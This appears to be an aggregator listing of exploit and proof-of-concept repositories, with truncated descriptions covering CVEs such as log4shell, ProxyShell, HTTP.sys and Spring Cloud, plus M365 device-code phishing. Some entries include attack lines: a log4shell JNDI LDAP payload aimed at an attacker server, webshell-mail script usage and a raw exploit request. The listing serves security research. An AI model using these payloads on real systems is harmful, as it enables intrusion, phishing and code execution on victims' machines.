Microsoft365_devicePhish

Microsoft365devicePhish Abusing Microsoft 365 OAuth Authorization Flow for Phishing Attack This is a simple proof-of-concept script that allows an attacker to conduct a phishing attack against Microsoft 365 OAuth Authorization Flow. Using this, one can connect to Microsoft's OAuth API endpoints t...

nmap-CVE-2022-21907

nmap-CVE-2022-21907 Repository containing nse script for vulnerability CVE-2022-21907. It is a component IIS vulnerability on Windows. It allows remote code execution. The vulnerability affects the kernel module http.sys, which handles most basic IIS operations. After uploading the payload, the...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC Remote Code Execution in HTTP.sys MS15-034...

MAL-009

MAL-009: Insecure Chaining of Flags T and TT in Zip for Linux In Zip for Linux, the “-TT” flag can be used to run arbitrary system commands. Due to the dangerous nature of this flag, it must always be used at the same time as the “-T” flag. By using a flag chaining attack, attackers that should...

Pluck-CMS-Stored-XSS---Installation

Pluck CMS 4.7.18 XSS Almacenado Autor: Sergio Descripción: Múltiples vulnerabilidades de Cross-Site Scripting XSS en la instalación de PluckCMS v.4.7.18 permiten a un atacante local ejecutar código arbitrario mediante un payload manipulado inyectado en los parámetros cont1 y cont2 durante el...

cve-2026-58138

CVE-2026-58138: Conductor unauthenticated RCE Reproduction kit for CVE-2026-58138, a CVSS 9.8 code-injection vulnerability in Conductor. It contains the OpenTaint rule and GraalVM approximations, isolated rule tests, the scan result, and a working exploit. Read the case study Open the interactive...

mitigation-cve-2019-9787

mitigation-cve-2019-9787 POC 1. simply xss : 2. simple csrf: attacker's website code--- https://github.com/kuangting4231/wordpress.github.io 3. csrf remote code execution: attacker's website code--- https://github.com/kuangting4231/assigment1.github.io mitigation 1. fix the logic flaw in the...

CVE-2024-3273-D-Link-Remote-Code-Execution-RCE

CVE-2024-3273 - Exploit de Ejecución Remota de Código RCE en D-Link Descripción Este repositorio contiene un exploit para CVE-2024-3273 , una vulnerabilidad crítica encontrada en dispositivos específicos de D-Link que permite la Ejecución Remota de Código RCE. La vulnerabilidad surge de una...

CVE-2024-22274-RCE

Privilege Escalation: VMware vCenter Server Authenticated RCE 📜 Description The “com.vmware.appliance.recovery.backup.job.create” and the “com.vmware.appliance.recovery.backup.validate” API components are vulnerable to a flag injection attack that can be leveraged to execute arbitrary commands as...

jboss-deserialization

JBoss Insecure Deserialization to RCE via CVE-2017-12149. JBoss Insecure Deserialization - RCE Exploitation Lab. The idea here is to setup a lab with an old JBoss version 7.0 in order to exploit the vulnerability. We can use Docker to facilitate all the process. For this, we're gonna need an Orac...

CVE-2022-22963

CVE-2022-22963 Remote Code Execution exploiting CVE-2022-22963 attacking Spring Cloud service. Disclamier: This is for educational purposes only. The author is not responsible for the use of this program. Use under your own risk Usage root@kitploit: ./CVE-2022-22963 -h Usage: CVE-2022-22963 OPTIO...

Umay

IoT Malware Similarity Analysis Platform View Demo Table of contents About The Project Current features Getting Started Prerequisites Installation Create your own dataset Contributing License About The Project This project provides IoT malware similarity analysis based on shared codes. It helps t...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

CVE-2023-23397

CVE-2023-23397: Vulnerabilidad de ejecución remota de código en Microsoft Outlook CVE-2023-23397 es una vulnerabilidad de ejecución remota de código en Microsoft Outlook, un popular cliente de correo electrónico utilizado por millones de usuarios en todo el mundo. Esta vulnerabilidad fue...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] Single retrieval python sendwebshellmail.py https://mail16.echod.com crack Batch read emails from mail.txt and attempt to obtain SID tokens python sendwebshellmail.py https://mail16.echod.com [email protected] send on...

expat: libexpat: Arbitrary Code Execution via Heap-based Buffer Overflow

A flaw was found in libexpat, a library used for parsing XML data. An attacker could exploit a heap-based buffer overflow, a type of memory error, by providing specially crafted XML input. This vulnerability occurs when the library mishandles memory reallocation while processing XML, particularly...

Moderate: Red Hat Security Advisory: expat security update

An update for expat is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2021-42171

CVE-2021-42171 File upload to Remote Code Execution on Zenario CMS 9.0.54156 https://minhnq22.medium.com/file-upload-to-rce-on-zenario-9-0-54156-cms-fa05fcc6cf74 root@kitploit: Server test Distributor ID: Ubuntu Description: Ubuntu 21.04 Release: 21.04 Codename: hirsute...

CVE-2021-23758-POC

CVE-2021-23758-POC this repo has been created for training on the vulnerability in the ajaxpro. disclosed with the ID number CVE-2021-23758. POC root@kitploit: POST /ajaxpro/CVE202123758POC.demo,CVE202123758.ashx HTTP/2 Host: localhost:44375 Content-Length: 567 Sec-Ch-Ua: " Not A;Brand";v="99",...